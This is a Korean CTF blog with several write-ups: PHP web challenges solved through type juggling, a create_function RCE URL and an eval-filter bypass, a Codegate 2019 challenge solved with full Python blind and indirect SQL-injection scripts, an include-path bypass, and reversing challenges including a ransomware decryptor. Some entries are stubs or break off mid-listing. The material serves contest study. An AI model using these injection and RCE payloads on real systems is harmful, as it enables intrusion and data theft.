Lock - level 1


들어가보면 5자리 자물쇠가 나온다. 한 자리를 맞출때마다 응답 값에 현재 맞춘 자릿수의 개수를 알려준다.


총 5자리니까 최대 50번만 시도하면 각 자리수의 정답을 알수있다.





Eat'em all


들어가보면 선택가능한 옵션이 8가지가 있는데 최대 4가지 밖에 선택이 안된다. 자바스크립트에서 if (nomber>4) 이 조건을 대충 if(1>4) 이런식으로 수정해서 8개 다 클릭하고 요청하면 플래그 나온다.


Good job, take your flag: Securinets{HuNgRY_Pl4y3r}




MAGIC



들어가보면 위 소스를 제공해 준다. 조건에 맞는 값을 사용해주면 되는데 php의 type juggling을 사용해주면된다. 0e로 시작하는 값들을 brute forcing해서 위 조건에 맞는 값을 찾아주면 된다.


대충 아래와 같이 코드짜서 돌려줬다.


<?php

 $base = "0e";

 $result = "";

 $curr_number = 215961018; 

while (True){

$curr = $base . $curr_number;

  $result = md5($curr);

  if ($result==$curr){

  break;

  }

  $curr_number += 1;

 }

echo "Find Magic Value";

echo "<br>";

echo $curr;

echo "<br>";

echo $result;

echo "<br>";



Find Magic Value

0e215962017

0e291242476940776845150308577824


이제 찾은 0e215962017 요 값을 넣어주면 플래그가 나온다.


Securinets{Gg!H4K3Rm@N}




Token Prediction


전에 풀때는 세션 바꿔가면서 하니까 이상하게 돼서 풀때도 이상했는데, 지금다시 해보니까 잘 안된다. 요건 다시 풀리면 글 추가하도록 하겠다.




Follow me


문제에 들어가보면 아래와 같은 링크가 있다.


<a href="i#have#the?flag" class="btn-lg btn-block btn-primary">Free Flag</a>


요청되는 url을 url encoding해서 요청해주면 플래그가 나온다.

Flag = securinets{Us1ng_UrL_3nC0dInG}



HalflinePhp

들어가보면 소스코드를 제공해준다.


<?php error_reporting(0);highlight_file(__FILE__); $_ $_GET['_'];$__ $_GET['__'];$_(''$__);?>


위 구조에 맞는 php 함수를 사용해주면된다. 아래와 같이 create_function의 취약점을 통해 RCE 해주면 된다.


https://web6.ctfsecurinets.com/?_=create_function&__=}system('cat%20flag.php');//


Flag = Securinets{Th1$_1$_N0t_Th3_FL@G}




pHp knowledge


소스코드를 제공해주는데 아래와 같다.


<?php

$pi=$_POST['cmd'];

if(!isset($pi)) {header("Location: tlol.jpg");die("noooooooooononononono\n");}

if(preg_match('/(\_|\'|\"|`|\.|\$|\/|a|c|s|z|m|require|include)/i', $pi)) { header("Location: tlol.jpg");die("nooooooooooooonooo\n");}

else{

eval($pi.";");

}

?>


php sandbox류인데 필터를 적절히 우회해서 아래와 같이 리스팅이 가능했다.


cmd=print(glob(~%d5)[11])


result = zzzzzzz__fl_ag.txt


위 flag파일을 url로 직접 요청해보면 플래그를 구할 수 있다.


Securinets{I_ThiNk_U_R_G0oD_In_Peehp}























'CTF > Writeup' 카테고리의 다른 글

Evlz CTF 2019 FindMe  (0) 2019.02.06
Evlz CTF 2019 WeTheUsers  (0) 2019.02.04
Codegate CTF 2019 Preliminary Rich Project  (0) 2019.01.27
INSOMNIHACK CTF TEASER 2019 Phuck2 :(  (0) 2019.01.22
Insomnihack CTF Teaser 2019 l33t-hoster  (0) 2019.01.21
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

현재 Writup 제출 기간인 것 같지만 웹 서버 같은 경우 언제 닫힐지 몰라 닫히기 전에 Writeup을 적어놔야 할 것 같아서 비공개로 기록해놓았다. 추후 Writeup이 CtfTime이나 개인블로그 등에 올라오면 공개로 전환하도록 하겠다.


먼저 풀이에 앞서, 해당 문제는 대회시간안에 풀지못하고 대회 종료 후 1시간정도 지나 풀게되어 많이 아쉬움이 남았다..ㅠㅠ


24시간이상 깨어있는 상태로 문제풀어본게 처음이라 대회종료 몇시간전부터는 너무 졸려서 생각없이 얻어걸려라 하는 식으로 문제를 바라봤던게 화근이었던 것 같다.


문제 풀이에 대해 시작해보면 로그인한 계정으로 999999999원짜리 상품을 사야하는데, 기본적으로 주어지는돈이 10000원이다. 대충 금액을 조작해서 위 상품을 사야할 것 같았다.


본격적으로 취약점을 찾아보면 회원가입 시 ac 파라미터에서 SQLI가 터졌다. 코인을 사고파는 페이지 내 MASTER 패스워드를 구하라는 주석이 있었고, 회원가입 시 admin이라는 문자열이 필터링당하고 있어 일단 해당 취약점을 통해 admin 계정의 패스워드를 구해야 할 것 같았다.


본격적으로 데이터를 뽑아보려하니 where,group,concat,limit와 같은 키워드들이 필터링당하고 있어 특정 조건의 데이터 뽑기가 쉽지 않았다.


일단 아래와 같이 having절을 통해 users라는 테이블이 존재하는 걸 알 수 있었고,


having table_name like 0x757365727325


해당 테이블 내 칼럼명과 같은 경우는 회원가입 시 요청하는 파라미터명과 동일하여 테이블 내 데이터를 뽑을 수 있는 상황이 되었다.


일단 어드민을 지정하여 데이터를 뽑을 수가 없어 패스워드가 어떤형태로 디비에 저장되는지 아래와 같은 코드를 통해 확인해보았다.



import requests

import time


def request(payload):

    start = time.time()

    url = "http://110.10.147.112/?p=reg"

    data = {'id':'345234aaa','pw':'123456','ac':payload}

    headers = {'Cookie':'PHPSESSID='}

    response = requests.post(url,data=data,headers=headers)

    end = time.time()

    return end-start


length = 0

data = ""

binary = ""

for j in range(1,100):

    binary = ""

    for i in range(1,9):

        payload = "'),(if(substring(lpad(bin(ord(substring((select max(pw) from users a),"+str(j)+",1))),8,0),"+str(i)+",1)=1,(select 1 union select 2),sleep(0.5)),238333343453453454359222023840234,2342342333333333333333333333333333333333333333333333333333333333333333334234)#"

        if request(payload)>0.3:

            binary += "0"

        else:

            binary += "1"

    data += chr(int(binary,2))

    print "[-]Find Data = " + data


print "[*]Find Data = " + data


패스워드와 같은 경우 sha1으로 저장되고 있었다. 또한 salt값 없이 데이터를 sha1 처리하고 있어서 아래와 같은 구문을 통해 id값에 SQLI 구문을 담아 indirect SQLI를 터트릴 수 있었다.


 '),(인젝션 값,sha1(1234),1234)#


이제 id에 SQLI구문을 담아 info, board 페이지를 들어가보면 indirect 인젝션이 터지는 걸 볼 수 있는데, 여기서 union 구문을 통해 info 페이지 접근 시 gold 값을 조작할 수 있지 않을까 싶었다.


그래서 ' union select 1,2,3,4,5# 요런식으로 값을 id에 담고 시도해보니 2번째 칼럼값이 gold에 지정되는걸 볼 수 있었다.


이제 ' union select 1,999999999,3,4,5# 이렇게 지정해서 상품을 구매하면 되겠구나 했는데 id값에 길이제한이 32로 제한되어있었고 위의 구문이 33글자였다. 여기서 한참 고민하다 ' union select 1,1e9,3,4,5# 요런식으로 길이제한을 bypass 할 수 있는 방법이 떠올랐고 실제로 시도해보니 1000000000원이 충전되어서 상품을 구매할 수 있었다.


여기서 끝나겠구나 했는데 실제로 상품을 사보니 이번엔 who are you?라는 문구를 통해 계정을 구매한 사용자에 대한 검증을 하고 있었다.


사용자 검증을 우회해보려고 아래와 같은 구문들을 막 넣어보았는데 잘 되지 않았다.


' union select'admin',1e9,3,4,5#

admin'union select 1,1e9,3,4,5#

' union select "'||1#",1e9,3,4,5#

등등..


이때가 새벽 5시인가 되었는데 너무 졸리다 보니 저 구문에서 어떻게든 끝나길 바래서 다른 부분들을 생각하지 못하고 얻어걸려라 하는식으로 생각없이 아무값이나 넣고 있었다.


그러다 도저히 안풀려서 다른 페이지들에 접근해보니 문제풀기 초반에 봤었던 마스터 패스워드를 구하라는 구문과 게시판 내 존재하던 관리자의 비밀글이 눈에 들어오기 시작했다. 


master 계정 패스워드와 같은 경우 디비에 존재할거라 생각했는데 딱히 master,admin으로 보이는 계정의 패스워드를 디비에서 찾지 못해서 중요한게 아닌가?하고 넘어갔었는데 마스터 계정 패스워드가 비밀글에 있을 수 있다는 생각을 하지 못했던게 문제였다. 아 비밀글 데이터를 인젝션으로 뽑아야겠구나..라고 깨닫았을 때가 6~7시쯤이었는데 이미 지칠대로 지쳐버렸고 시간도 얼마 안남아서 새로 코드짜서 문제 풀기엔 무리겠구나 라는 생각에 포기하고 집으로 돌아왔다..ㅠㅠ


그 후 집에와서 대회는 종료되었지만, 아쉬운 마음에 조금 더 문제를 풀어보았고 아래와 같은 코드를 통해 어드민의 비밀글 내 존재하는 마스터 패스워드를 구할 수 있었다. 그 후 구한 패스워드로 비밀번호가 걸려있든 압축된 소스파일을 해제해보면 플래그를 얻기 위해 아래와 같이 금액 조작 후 마스터 패스워드를 같이 보내주면 되는걸 알아낼 수 있었다.




최종적으로 익스한 코드는 아래와 같다.


codegate2019_ProjectRich_exploit.py


import requests

import random


def request_join(payload):

    url = "http://110.10.147.112/?p=reg"

    data = {'id': "youngsin"+str(int(random.random()*100000000000)), 'pw': '123456', 'ac': "'),("+payload+",sha1(1234),1234)#"}

    headers = {'Cookie': 'PHPSESSID=pbsa758nahvrkff7uv7g8052mf'}

    response = requests.post(url, data=data, headers=headers)



def request_logout():

    url = "http://110.10.147.112/?p=logout"

    headers = {'Cookie': 'PHPSESSID=pbsa758nahvrkff7uv7g8052mf'}

    response = requests.get(url, headers=headers)


def request_login(payload):

    url = "http://110.10.147.112/?p=login"

    data = {'id': payload, 'pw': '1234', 'ac': '1234'}

    headers = {'Cookie': 'PHPSESSID=pbsa758nahvrkff7uv7g8052mf'}

    response = requests.post(url, data=data, headers=headers)


def request_bbsView():

    url = "http://110.10.147.112/?p=bbs&page=1"

    headers = {'Cookie': 'PHPSESSID=pbsa758nahvrkff7uv7g8052mf'}

    response = requests.get(url, headers=headers)

    if "<td>-1</td><td><a href=./?p=read&no=-1>TOP SECRET" in response.text:

        return True

    else:

        return False


def get_master_password():

    result = ""

    for i in range(0, 200):

        for j in range(0, 127):

            payload = "'||substr(contents," + str(i) + ",1)=" + hex(j) + "#"

            request_join("0x" + payload.encode("hex"))

            request_logout()

            request_login(payload)

            if request_bbsView() == True:

                result += chr(j)

                print result

                request_logout()

                break

            else:

                request_logout()


def get_flag():

    payload = "r'union select 7,9e9,1,2,3#"

    request_logout()

    request_join("0x" + payload.encode("hex"))

    request_logout()

    request_login(payload)


    url = "http://110.10.147.112/?p=pay&key=D0_N0T_RE1E@5E_0THER5"

    headers = {'Cookie': 'PHPSESSID=pbsa758nahvrkff7uv7g8052mf'}

    response = requests.get(url, headers=headers)

    result = response.text

    print "FIND Flag[*] = " + result[result.find("FLAG"):]



if __name__ == "__main__":

    get_master_password()  ## get master password = D0_N0T_RE1E@5E_0THER5

    get_flag()




FIND Flag[*] = FLAG{H0LD_Y0UR_C0IN_T0_9999-O9-O9!}















'CTF > Writeup' 카테고리의 다른 글

Evlz CTF 2019 WeTheUsers  (0) 2019.02.04
NCSC CTF 2019 Web Wrietup  (0) 2019.02.04
INSOMNIHACK CTF TEASER 2019 Phuck2 :(  (0) 2019.01.22
Insomnihack CTF Teaser 2019 l33t-hoster  (0) 2019.01.21
ROOT CTF 2017 ROOT Ransomware  (0) 2019.01.02
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

해당 문제는 대회 때 풀지못하고 추후 롸업을 보고 다시 풀어보았다.


소스는 다음과 같다.


<?php
    stream_wrapper_unregister
('php');
    if(isset(
$_GET['hl'])) highlight_file(__FILE__);

    
$mkdir = function($dir) {
        
system('mkdir -- '.escapeshellarg($dir));
    };
    
$randFolder bin2hex(random_bytes(16));
    
$mkdir('users/'.$randFolder);
    
chdir('users/'.$randFolder);

    
$userFolder = (isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']);
    
$userFolder basename(str_replace(['.','-'],['',''],$userFolder));

    
$mkdir($userFolder);
    
chdir($userFolder);
    
file_put_contents('profile',print_r($_SERVER,true));
    
chdir('..');
    
$_GET['page']=str_replace('.','',$_GET['page']);
    if(!
stripos(file_get_contents($_GET['page']),'<?') && !stripos(file_get_contents($_GET['page']),'php')) {
        include(
$_GET['page']);
    }

    
chdir(__DIR__);
    
system('rm -rf users/'.$randFolder);


내 IP를 기반으로한 디렉토리 내에 profile이란 파일을 생성한다. 이 때 파일 내용은 $_SERVER 변수에 담긴 값들이 삽입된다. 


위의 상황에서 나는 특정 페이지를 include시킬 수 있다.이 때 내가 입력한 페이지에서 .을 제거하고 wrapper와 같은 경우 php wrapper를 사용할 수 없다. 


여기서 간단히 생각해볼 수 있는건 헤더값에 php코드넣고 profile 파일을 포함시키면 될 것 같지만 profile 내에 php,<? 문자열이 존재하는지 검증을 해 php코드를 삽입할 수가 없다. 


현 상황에서 lfi로는 해볼만한게 없었고, rfi 중 현재상황에서 사용가능한 data wrapper를 사용해봤지만 allow_url_include가 off라 사용이 불가능 했다.


일단 profile 파일을 include 시켜야 할 것 같기 때문에 실제로 일단 include부터 시켜보려하면 include가 되지 않는다. 그 이유는 기본적으로 $_SERVER에 PHP_SELF란 속성이 존재해서 include자체가 될 수가 없다. 


말도안되는 상황이지만 해당 서버에 설정을 보면 allow_url_fopen이 On으로 되어있고 이 설정은 일반적으로 디폴트가 On이다. 즉 file관련함수에서 data wrapper사용이 가능하다는 거다. 이 말은 data wrapper로 <?,php 검증은 우회가 가능한데, 추가로 data wrapper 값이 include내에 들어갔을때 allow_url_include가 off라 에러가터져서 필터링 우회한 의미가 없다는 거다.


근데 여기서 우리가 눈여겨봐야할 게 사용자별 디렉토리를 만들 때 무조건 내 IP가 아니라 X_FORWARED_FOR 헤더를 통해 지정된 IP가 존재하면 이걸로 디렉토리를 만든다. 이 값은 내가 컨트롤이 가능하기 떄문에 이 헤더를 통해 디렉토리를 data wrapper형태로 만들어놓으면 data wrapper로 파일내용 검증을 우회한 뒤 이 값이 include에서 wrapper로서가 아닌 디렉토리로서 먼저 인식되어 에러를 안내고 profile 포함이 가능해진다는 거다.


include에서 입력값을 처리하는 순서에 의해 이러한 현상이 발생하는 것 같다. 만약 입력값을 파일경로로서 먼저처리하지않고 wrapper인지 먼저 처리하고 파일경로인지 확인했다면 wrapper로서 인식되어 그대로 에러가 터졌을 것이다. 


해당 문제를 풀면서 느낀건 한 로직 한 로직 의심을가지고 바라보며 한 로직이 우회가능할 때 다음 로직에서 이전 값들이 유효한지를 막연히 추측할게 하니라 이 또한 연계해서 또 끝없는 의심으로 실제 검증테스트까지 다 해봐야한다는 거다. 막연히 이건 이래서 안되라고 생각할게 아니라 혹시?라는 생각이 필요할 것 같다.


여기까지 설명하고 났으니 exploit은 간단하다.



























'CTF > Writeup' 카테고리의 다른 글

NCSC CTF 2019 Web Wrietup  (0) 2019.02.04
Codegate CTF 2019 Preliminary Rich Project  (0) 2019.01.27
Insomnihack CTF Teaser 2019 l33t-hoster  (0) 2019.01.21
ROOT CTF 2017 ROOT Ransomware  (0) 2019.01.02
ROOT CTF 2018 CrackMe  (0) 2019.01.01
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

문제 파일을 보면 다음과 같이 암호화된 파일이 제공된다.




해당 파일이 암호화되는 로직을 보면 다음과 같다.



암호화 하는 로직이 상당히 심플해보이는데 rand 함수가 custom rand 함수였다. srand 함수 인자인 0x3039값으로 초기 값을 세팅한 후 아래 rand함수에서 다음과 같은 연산을 통해 랜덤 값을 추출해 낸다.



해당 rand함수를 파이썬에서 동일하게 적용해 준 뒤 아래와 같이 복호화 코드를 짜서 파일을 복호화 했다.


import os


def rand(data):

    result_1 = ((214013 * data & 0xffffffff) + 2531011) & 0xffffffff

    result_2 = result_1>>16&0x7fff

    return [result_1,result_2]



for (path, dir, files) in os.walk("C:\\root_ransomware"):

    for filename in files:

        filePath =  path+"\\"+filename

        result = ""

        xor_value = 0x7f

        data = 0x3039

        f1 = open(filePath, "rb")

        fileContents = f1.read()

        f1.close()

        for i in range(0, len(fileContents)):

            tmp = rand(data)

            data = tmp[0]

            tmp1 = ord(fileContents[i])

            Content = chr(ord(fileContents[i]) ^ xor_value)

            Content = chr((ord(Content) - tmp[1] % 0xff - 1) & (2 ** 32 - 1) & 0xff)

            xor_value = xor_value ^ tmp1

            result += Content

        createPath = filePath+".ext"

        f = open(createPath, 'wb')

        f.write(result)

        f.close()



복호화된 파일을 보면 각 폴더별로 png,py,exe,jpeg 파일형태로 존재하는데 각 파일별로 한글자씩 플래그를 뿌려준다.


각 값들을 순서대로 조합하면 다음과 같이 플래그가 나온다.


Flag = FLAG{Danger_encrypt}


'CTF > Writeup' 카테고리의 다른 글

INSOMNIHACK CTF TEASER 2019 Phuck2 :(  (0) 2019.01.22
Insomnihack CTF Teaser 2019 l33t-hoster  (0) 2019.01.21
ROOT CTF 2018 CrackMe  (0) 2019.01.01
ROOT CTF 2018 ROOT_Process_2  (0) 2018.12.30
ROOT CTF 2018 ROOT_Process_1  (0) 2018.12.30
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

문제를 실행해보면 전형적인 CrackMe 형태인데 Flag 계산시 사용되는 알고리즘이 생각보다 어려워 문제 푸는데 거의 하루가 걸려버렸다.



일단 correct를 띄우는 함수 구조를 보면 아래와 같다.



입력값을 받아서 총 3개의 함수를 거치는데 첫번째 함수는 입력 값을 이진수 형태로 변환해주고 세번째 함수는 두번째 함수로 인해 반환된 결과를 custom base64 인코딩시켜준다.


중요한게 2번째 함수였는데 코드는 아래와 같았다.




코드를 대략적으로 보면 기본적으로는 rand 함수로 구해온 값이랑 현재 버퍼위치의 바이트 값으로 인덱스 값 생성 후 byte_6020A0 위치에 존재하는 테이블에서 해당 인덱스로 값을 가져온다. 

이 때 바이트 값이 연속 3개이상 동일할 경우에는 첫번째 값을 !(0x21) 세팅하고 두번째 값은 연속된 바이트 값 개수를 인덱스로해서 테이블에서 값을 구해오며 세번째 값은 이전과 동일하게 rand 함수를 사용해서 구해온다.


위 알고리즘에 맞춰 복호화를 다음과 같이 진행했다.


먼저 비교대상인 base64값을 custom base64 디코딩해서 비교 대상의 hex값을 구해왔다. 해당 코드는 https://github.com/xamiel/custombase64/blob/master/custombase64.py 에서 가져다 썼다.


import base64

import string

import random


cuscharset = "ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/"


b64charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"


encodedset = string.maketrans(b64charset, cuscharset)

decodedset = string.maketrans(cuscharset, b64charset)



def dataencode(x):

    y = base64.b64encode(x)

    y = y.translate(encodedset)

    return y



def datadecode(x):

    y = x.translate(decodedset)

    y = base64.b64decode(y)

    return y



def randset():

    """Generate a random alphabet for use in base64 encoding"""

    x = "".join(random.sample(cuscharset, len(cuscharset)))

    global encodedset

    global decodedset

    encodedset = string.maketrans(b64charset, x)

    decodedset = string.maketrans(x, b64charset)

    if len(cuscharset) == 64:

        print "New random charset: " + x + "="

    elif len(cuscharset) == 65:

        print "New random charset: " + x


    print "Record the above string if you ever want to be able to decode this data again.\n"


# Uncomment the command below to generate a random base64 alphabet.

#randset()


plaintext = "1234"


#  Encode the plaintext string

enc = dataencode(plaintext)

#enc = 'WGtECM0UDeq9CGs3eHwGriEFqdYIrjgGvdw5qSEGrTkIrTU4vdrFqcEHpjkIqTC4'


#  Decode back into plaintext string

dec = datadecode(enc)


print datadecode("39xs8IzeMEDEsLl/N+ps8yHgRGB9osPSRwD1RwC7QHVdr0xx5qp/fFMCRMFFccMaRGAEcHSEnFVs8w5yI7QlRwDzleMtykO2mbSEqDRvYhfcRwCbi7hsMiJvzbSEebSEzj1yBC9sMomuwHV7K+Zs8ypBUbVdko9oRGzsR+tsMhp8msHV4c2QEP4CGKFsMsps8H7kuclvIBwRRGzRrKyi+akVRwCAIXAAdswNntZ5OIzic1LbHoP/ibd/xdw7FWBsMmfi6VmryjVs8zhSNeZYRGYmRoZmfpskXa8qOrV7IdDQRwCWXL1s8GlpFrSEL/3rRwD0UJCQ6iJs8vG4LDLW2bSEBBeoRwF9eS1sModdQDUnh+cOxBZ8qGts8uhs8CnKKXV7jHSEXFts8yN4RGz7CtJ=").encode("hex")



위 코드를 통해 구해온 hex값을 아래 코드를 통해 복호화하여 다시 이진수 형태로 변환해줬다.


import ctypes


table = [0x52,0x09,0x6A,0xD5,0x30,0x36,0xA5,0x38,0xBF,0x40,0xA3,0x9E,0x81,0xF3,0xD7,0xFB,0x7C,0xE3,0x39,0x82,0x9B,0x2F,0xFF,0x87,0x34,0x8E,0x43,0x44,0xC4,0xDE,0xE9,0xCB,0x54,0x7B,0x94,0x32,0xA6,0xC2,0x23,0x3D,0xEE,0x4C,0x95,0x0B,0x42,0xFA,0xC3,0x4E,0x08,0x2E,0xA1,0x66,0x28,0xD9,0x24,0xB2,0x76,0x5B,0xA2,0x49,0x6D,0x8B,0xD1,0x25,0x72,0xF8,0xF6,0x64,0x86,0x68,0x98,0x16,0xD4,0xA4,0x5C,0xCC,0x5D,0x65,0xB6,0x92,0x6C,0x70,0x48,0x50,0xFD,0xED,0xB9,0xDA,0x5E,0x15,0x46,0x57,0xA7,0x8D,0x9D,0x84,0x90,0xD8,0xAB,0x00,0x8C,0xBC,0xD3,0x0A,0xF7,0xE4,0x58,0x05,0xB8,0xB3,0x45,0x06,0xD0,0x2C,0x1E,0x8F,0xCA,0x3F,0x0F,0x02,0xC1,0xAF,0xBD,0x03,0x01,0x13,0x8A,0x6B,0x3A,0x91,0x11,0x41,0x4F,0x67,0xDC,0xEA,0x97,0xF2,0xCF,0xCE,0xF0,0xB4,0xE6,0x73,0x96,0xAC,0x74,0x22,0xE7,0xAD,0x35,0x85,0xE2,0xF9,0x37,0xE8,0x1C,0x75,0xDF,0x6E,0x47,0xF1,0x1A,0x71,0x1D,0x29,0xC5,0x89,0x6F,0xB7,0x62,0x0E,0xAA,0x18,0xBE,0x1B,0xFC,0x56,0x3E,0x4B,0xC6,0xD2,0x79,0x20,0x9A,0xDB,0xC0,0xFE,0x78,0xCD,0x5A,0xF4,0x1F,0xDD,0xA8,0x33,0x88,0x07,0x21,0x31,0xB1,0x12,0x10,0x59,0x27,0x80,0xEC,0x5F,0x60,0x51,0x7F,0xA9,0x19,0xB5,0x4A,0x0D,0x2D,0xE5,0x7A,0x9F,0x93,0xC9,0x9C,0xEF,0xA0,0xE0,0x3B,0x4D,0xAE,0x2A,0xF5,0xB0,0xC8,0xEB,0xBB,0x3C,0x83,0x53,0x99,0x61,0x17,0x2B,0x04,0x7E,0xBA,0x77,0xD6,0x26,0xE1,0x69,0x14,0x63,0x55,0x7D,0x0C,0xC7]

flag = [0xeb,0x47,0x21,0xd5,0x16,0xaf,0x35,0x55,0x95,0x84,0xea,0x3f,0x33,0xe9,0x21,0xd5,0xb4,0xad,0x21,0x36,0x34,0x96,0x12,0x87,0x21,0xd5,0xbc,0x21,0xd5,0xf6,0x25,0x21,0x30,0x8b,0xd7,0x1c,0xe2,0x39,0x3f,0xb9,0x43,0x57,0x20,0xd5,0x14,0xc7,0x13,0x73,0x21,0x36,0x55,0xc5,0x21,0xd5,0x99,0x41,0x21,0xd5,0xde,0x1b,0x47,0x62,0x68,0x21,0xd5,0x9a,0xa2,0xf3,0x60,0x6e,0x92,0xfb,0x9f,0x21,0xd5,0x8d,0x62,0x1e,0x06,0xcb,0xb1,0x21,0xd5,0xf2,0xaf,0x6b,0x21,0x36,0xb4,0x1e,0x6b,0x21,0xd5,0xbf,0x21,0xd5,0x6a,0xaf,0x1b,0x61,0x7d,0x21,0x36,0x59,0xdf,0x75,0x21,0x36,0x3f,0xe0,0x21,0xd5,0xb9,0x18,0x17,0x21,0x30,0xa6,0x5d,0x25,0x21,0x36,0xa1,0x23,0xe8,0x21,0x36,0xc9,0x35,0x9e,0x14,0x84,0xe7,0x1e,0xc9,0x54,0xae,0x57,0x4c,0xf5,0x21,0x36,0x19,0x21,0xd5,0x2d,0xa9,0x7f,0x1a,0x1e,0x45,0x87,0x48,0x21,0x36,0x88,0x88,0xf6,0xeb,0xfb,0x3a,0x44,0x21,0xd5,0xd9,0x44,0x26,0x59,0xc2,0x17,0x4c,0x9a,0x00,0x38,0x2d,0x16,0xab,0xc7,0xc3,0xb2,0x4a,0x52,0xbf,0xaf,0x2c,0x3f,0x73,0x07,0x76,0x50,0x36,0x21,0x36,0x7b,0xab,0xdc,0x49,0xe2,0x6e,0xa1,0x21,0xd5,0xab,0x07,0x32,0xf0,0x01,0x21,0x30,0x67,0x22,0x50,0x27,0xba,0x48,0x69,0x0b,0x3d,0x63,0x2e,0x21,0x36,0x47,0x05,0x89,0x21,0xd5,0xc3,0x08,0xef,0x21,0xd5,0x3a,0x24,0x52,0x21,0xd5,0x3b,0xfe,0xa2,0x21,0xd5,0xbd,0x15,0x05,0xc9,0xde,0xb4,0x21,0xd5,0xe4,0xf9,0x39,0x63,0x83,0xef,0x21,0xd5,0x61,0x8b,0xe5,0x21,0xd5,0x34,0xbc,0x7f,0x21,0x36,0x5c,0x30,0x25,0x61,0x66,0xb3,0xec,0x4b,0x71,0x80,0x35,0x8d,0x38,0x21,0xd5,0xfb,0x21,0xd5,0x79,0x8f,0x3c,0x21,0x36,0xa9,0x21,0xd5,0x09,0x48,0x21,0xd5,0xb3,0x39,0x21,0x36,0xb6,0x5e,0x04]

def check_index(data):

    for i in range(0,len(table)):

        if data==table[i]:

                print "yo="+str(i)

                return i


random_libc = ctypes.CDLL('/lib/x86_64-linux-gnu/libc.so.6')

random_libc.srand(0x7e2)

binary = ""

for i in range(0,len(flag)):

    if flag[i]!=0x21 and flag[i-2]==0x21:

        tmp = random_libc.random()&0xff

        if  check_index(flag[i])==tmp:

            binary += "0"*check_index(flag[i-1])

        else:

            binary += "1"*check_index(flag[i-1])

    elif flag[i]!=0x21 and flag[i-1]!=0x21 and flag[i-2]!=0x21:

        tmp =  random_libc.random()&0xff

        print tmp

        if check_index(flag[i])==tmp:

        binary += "0"

        else:

            binary += "1"


print binary



Result 

010001100100110001000001010001110111101101001001010111110111011100110001011011000110110001011111010001110011000001011111011101000011000001011111010110010011000001110101010111110110110001101001011010110011001101011111010101000110100001100101010111110100011000110001011100100111001101110100010111110101001101101110001100000111011101111101


이렇게 구한 이진수 값을 다시 문자열로 변환해주면 플래그가 나온다.


flag = ""

flag_bin = [0b01000110,0b01001100,0b01000001,0b01000111,0b01111011,0b01001001,0b01011111,0b01110111,0b00110001,0b01101100,0b01101100,0b01011111,0b01000111,0b00110000,0b01011111,0b01110100,0b00110000,0b01011111,0b01011001,0b00110000,0b01110101,0b01011111,0b01101100,0b01101001,0b01101011,0b00110011,0b01011111,0b01010100,0b01101000,0b01100101,0b01011111,0b01000110,0b00110001,0b01110010,0b01110011,0b01110100,0b01011111,0b01010011,0b01101110,0b00110000,0b01110111,0b01111101]

for i in range(0,len(flag_bin)):

    flag += chr(flag_bin[i])

print flag


Flag = FLAG{I_w1ll_G0_t0_Y0u_lik3_The_F1rst_Sn0w}




'CTF > Writeup' 카테고리의 다른 글

Insomnihack CTF Teaser 2019 l33t-hoster  (0) 2019.01.21
ROOT CTF 2017 ROOT Ransomware  (0) 2019.01.02
ROOT CTF 2018 ROOT_Process_2  (0) 2018.12.30
ROOT CTF 2018 ROOT_Process_1  (0) 2018.12.30
35C3 CTF 2018 php  (0) 2018.12.30
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

해당 문제의 코드를 보면 다음과 같다.



코드를 보면 memcpy를 통해 특정 메모리 영역에 있는 값을 0x2400bytes 만큼 복사한다.


해당 영역을 보면 PE 헤더가 존재하는걸 볼 수 있고 그대로 해당 메모리 영역을 덤프한뒤 다시 ida로 까보면 다음과 같은 로직이 나온다.






복호화 로직은 간단하다. 입력 값과 rand한 값을 가지고 xor한 값이 암호화된 값과 같으면 된다. 이 때 시드 값이 고정되어 있어 매번 같은 rand값이 구해지기 때문에 다음과 같이 복호화를 시도했다.


inputValue = [0x6F,0x78,0x2E,0x13,0x0C,0x35,0x00,0x7A,0x72,0x0F,0x44,0x20,0x62,0x5A,0x54,0x2E,0x3E,0x35,0x4E,0x08,0x7B]

randValue = [0x29,0x34,0x6f,0x54,0x77,0x67,0x30,0x15,0x26,0x50,0x75,0x4e,0x28,0x3f,0x37,0x6e,0x4a,0x04,0x01,0x66,0x06]

flag = ""


for i in range(0,len(inputValue)):

    flag += chr(inputValue[i]^randValue[i])


print flag



Flag = FLAG{R0oT_1nJec@t1On}








'CTF > Writeup' 카테고리의 다른 글

ROOT CTF 2017 ROOT Ransomware  (0) 2019.01.02
ROOT CTF 2018 CrackMe  (0) 2019.01.01
ROOT CTF 2018 ROOT_Process_1  (0) 2018.12.30
35C3 CTF 2018 php  (0) 2018.12.30
Codegate 2014 clone technique  (1) 2018.12.29
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

해당 대회는 대회 당시 웹 문제들만 풀어봐서 대회 종료 후 리버싱 문제들을 다시 풀어봤다.


int sub_411860()

{

  int v0; // edx

  int v1; // ST08_4

  char v3; // [esp+0h] [ebp-698h]

  DWORD flag_pid; // [esp+250h] [ebp-448h]

  HWND hWnd; // [esp+25Ch] [ebp-43Ch]

  int j; // [esp+268h] [ebp-430h]

  CHAR *v7; // [esp+274h] [ebp-424h]

  unsigned int i; // [esp+280h] [ebp-418h]

  BOOL v9; // [esp+28Ch] [ebp-40Ch]

  PROCESSENTRY32 pe; // [esp+298h] [ebp-400h]

  char Dst[280]; // [esp+3C8h] [ebp-2D0h]

  size_t v12; // [esp+4E0h] [ebp-1B8h]

  int current_pid; // [esp+4ECh] [ebp-1ACh]

  int v14; // [esp+4F8h] [ebp-1A0h]

  int v15; // [esp+504h] [ebp-194h]

  DWORD dwProcessId; // [esp+510h] [ebp-188h]

  HANDLE hSnapshot; // [esp+528h] [ebp-170h]

  int v18; // [esp+640h] [ebp-58h]

  int v19; // [esp+644h] [ebp-54h]

  int v20; // [esp+648h] [ebp-50h]

  int v21; // [esp+64Ch] [ebp-4Ch]

  int v22; // [esp+650h] [ebp-48h]

